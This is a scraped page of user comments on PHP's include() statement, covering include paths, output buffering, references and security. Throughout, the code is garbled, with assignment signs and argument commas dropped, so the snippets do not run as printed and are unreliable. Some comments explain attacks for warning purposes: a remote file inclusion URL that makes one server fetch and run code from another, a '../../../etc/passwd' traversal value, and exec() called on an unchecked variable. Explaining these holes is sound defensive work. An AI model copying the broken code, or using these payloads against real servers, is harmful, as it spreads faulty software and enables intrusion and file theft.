a simple function to recursively include e.g. the include-directory of your site and its subdirs:

<?php
function includeRecurse($dirName) {
    if(!
is_dir($dirName))
        return 
false;
    
$dirHandle opendir($dirName);
    while(
false !== ($incFile readdir($dirHandle))) {
        if(
$incFile != "."
           
&& $incFile != "..") {
            if(
is_file("$dirName/$incFile"))
                include_once(
"$dirName/$incFile");
            elseif(
is_dir("$dirName/$incFile"))
                
includeRecurse("$dirName/$incFile");
        }
    }
    
closedir($dirHandle);
}
?>

Jesper Juhl (2005-08-14 08:14:53)

If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.

Like this.

includefile.php
---
<?php
defined
('_VALID_INCLUDE') or die('Direct access not allowed.');

/* rest of file */

?>

script.php
---
<?php
define
('_VALID_INCLUDE'TRUE);
include(
'includefile.php');

/* rest of file */

?>

ignacio esviza (2005-07-19 14:10:03)

Hi, there...

I've use this in order to grab the output from an include() but without sending it to the buffer.

Headers are not sent neither.

<?php
function include2($file){
    
    
$buffer ob_get_contents();
    include 
$file;
    
$output substr(ob_get_contents(),strlen($buffer));
    
ob_end_clean();
    
    
ob_start();
    echo 
$buffer;
    
    return 
$output;
    
}
?>

Ethilien (2005-07-18 12:04:48)

Another way of getting the proper include path relative to the current file, rather than the working directory is:

<?php
include realpath(dirname(__FILE__) . "/" "relative_path");
?>

Berenguer Blasi (2005-07-04 06:07:57)

When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:

 - src
  - web
  - bo
 - lib
 - test
 - whatever

as the include path's behaviour is somehow strange.

The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:

<?php
$BASE_PATH 
dirname(__FILE__);
$DEPENDS_PATH  ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path"ini_get("include_path").";".$DEPENDS_PATH);
?>

Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.

Just cross fingers you have permissions to change the server's include path.

(2005-05-17 08:10:55)

Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory. 

e.g :

<?php
if(file_exists("includes/a.php"))
   include(
"includes/a.php")
?>

The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error

morris.php <A T> it-solutions.org (2005-04-28 05:31:13)

Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.

This means the functions and (more importantly) classes included will NOT work.

for example:

<?php
include "http://example.com/MyInclude.php"
?>

would not give you access to any classes or functions within the MyInclude.php file.

to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.

gillis dot php at TAKETHISAWAY dot gillis dot fi (2005-04-14 02:47:42)

This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.

So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.

<?php
function ChkInc($file){
   if(
substr(exec("php -l $file"), 028) == "No syntax errors detected in"){
   return 
true;
   }else{
   return 
false;
   }
}
?>

if someone else has a better solution, do post it...

Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.

//Gillis Danielsen

dragon at wastelands dot net (2004-12-09 16:30:31)

The __FILE__ macro will give the full path and name of an included script when called from inside the script.  E.g.

<?php include("/different/root/script.php"); ?>

And this file contains:
<?php echo __FILE__?>

The output is:
/different/root/script.php

Surprisingly useful :>  Obviously something like dirname(__FILE__) works just fine.

mattcimino at gardiners dot com (2004-08-10 17:47:39)

To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.

durkboek A_T hotmail D_O_T com (2004-06-03 04:09:34)

I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output "";
exec("ls -al",$output);
foreach(
$output as $line) {
echo 
$line "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A! 
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.

moosh at php dot net (2004-01-15 07:03:08)

<?php
@include('/foo') OR die ("bar"); # <- Won't work
@(include('/foo')) OR die ("bar"); # <- Works
?>

so "or" have prority on "include"

james at gogo dot co dot nz (2003-12-09 10:03:00)

While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
  
function &x(&$y)
  {
    return include(
dirname(__FILE__) . '/2.php');
  }

  
$z "FOO\n";
  
$z2 = &x($z);

  echo 
$z2;
  
$z  "NOO\n";
  
  echo 
$z2;
?>

and file 2.php contains...
<?php  return $y?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/

david dot gaia dot kano at dartmouth dot edu (2003-12-04 01:13:29)

I just discovered a "gotcha" for the behavior of include when using the command line version of php.
I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.
But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.
Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.
To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.
So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.
I hope this helps save someone else the hours it took me to figure out my problem!
David

redeye at cs-aktuell dot de (2003-02-08 05:29:56)

As to the security risks of an include statement like:

<?php
  
include($page);
?>

This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like 

<?php
  
if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
    include(
$page);
?>

wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )

To be sure only pages are called you want the user to call use something like this:

<?php
  $path 
'pages/';
  
$extension '.php';
  
  if ( 
preg_match("#^[a-z0-9_]+$#i",$page) ){
    
$filename $path.$page.$extension;
    include(
$filename);
  }
?>

This will only make sure only files from the directory $path are called if they have the fileextension $extension.

易百教程